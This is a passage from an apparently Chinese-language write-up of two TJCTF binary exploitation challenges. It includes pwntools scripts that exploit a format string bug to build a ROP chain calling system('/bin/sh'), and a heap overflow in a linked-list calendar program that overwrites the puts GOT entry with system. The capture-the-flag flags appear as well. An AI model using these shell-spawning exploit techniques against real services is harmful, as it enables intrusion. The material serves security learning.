            puts("Please enter a valid option");
        }
    }
    return 0;
}

两个菜单里都有格式化字符串漏洞。而且很长,直接改ROP

from pwn import *
context(arch='amd64', log_level='debug')


def sss(v):
    p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'deposit')
    p.sendlineafter(b"Enter amount: ", v)

#p = process('./chall')
p = remote('tjc.tf', 31363)

stack = int(p.recvuntil(b',', drop=True),16) +0x418

sss(b"%143$p")
libc_base = int(p.recvline(),16) - 0x2a1ca
print(f"{libc_base = :x}")

pop_rdi = libc_base + 0x000000000010f75b # pop rdi ; ret
system = libc_base + 0x58750
bin_sh = libc_base + 0x1cb42f

sss(fmtstr_payload(12,{stack: pop_rdi+1, stack+8:pop_rdi, stack+0x10:bin_sh, stack+0x18:system}))

p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'exit')

p.interactive()
#tjctf{sys_c4ll3d_l1nux_294835}

linked

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <stdbool.h>

struct event {
    int time;
    char name[128];
    struct event *next;
};

struct eventList {
    int size;
    struct event *head;
};

void displayEvents(struct eventList *events) {
    puts("Calendar events:");

    struct event *cur = events->head;
    for (int i = 0; i < events->size; i++) {
        if (cur->time == 0) {
            break;
        }
        printf("%u:00 - %s\n", cur->time, cur->name);
        cur = cur->next;
    }
    printf("\n\n");
}

void inpcpy(char *dst, char *src) {
    int ind = 0;
    while (src[ind] != '\n') {
        dst[ind] = src[ind];
        ind++;
    }
}

int main() {
    char inputBuffer[256] = {'\0'};
    struct eventList events;
    events.head = malloc(sizeof(struct event));
    events.head->next = NULL;
    events.head->time = 0;
    events.size = 1;

    setbuf(stdout, NULL);

    for (int i = 0; i < 2; i++) {
        puts("Add an event to your calendar:");

        struct event *cur = events.head;
        while (cur->next != NULL) {
            cur = cur->next;
        }
        cur->next = malloc(sizeof(struct event));
        cur->next->next = NULL;
        cur->next->time = 0;
        events.size++;

        printf("Event time? (1-24) ");
        fgets(inputBuffer, sizeof(inputBuffer), stdin);
        int t = atoi(inputBuffer);
        if (t == 0) {
            free(cur->next);
            cur->next = NULL;
            events.size--;
            printf("Invalid integer: %s\n", inputBuffer);
            continue;
        }
        cur->time = t;

        printf("Event name? ");
        fgets(inputBuffer, sizeof(inputBuffer), stdin);
        inpcpy(cur->name, inputBuffer);

        displayEvents(&events);
    }
    
    puts("2 events and still couldn't get the flag?");
    puts("smhmh");
    puts("just run like...");
    puts("cat flag.txt");
    puts("or something like that");
    return 0;
}

通过写链头块溢出到后边的块,这样修改指针就能得到libc,由于这个结构要求time !=0 并且输出是从+4开始,所以这里指针指到got.puts-3的位置,用尾字节当time,由于这尾字节是固定的,可以直接通过前5字节得到libc,再修改puts 为 system

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./chall')

#p = process('./chall')
p = remote('tjc.tf', 31509)

p.sendlineafter(b"Event time? (1-24) ", b'1')
p.sendlineafter(b"Event name? ", b'A'*0x84+ p64(0x404005))

p.recvuntil(b'3758096384:00 - ') #xxxe0
libc.address = u64(b'\xe0'+p.recv(5)+b'\0\0') - libc.sym['puts']


p.sendlineafter(b"Event time? (1-24) ", b'1342177280') #xxx50
p.sendlineafter(b"Event name? ", p64(libc.sym['system'])[1:])

p.interactive()
#tjctf{i_h0pe_my_tre3s_ar3nt_b4d_too}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值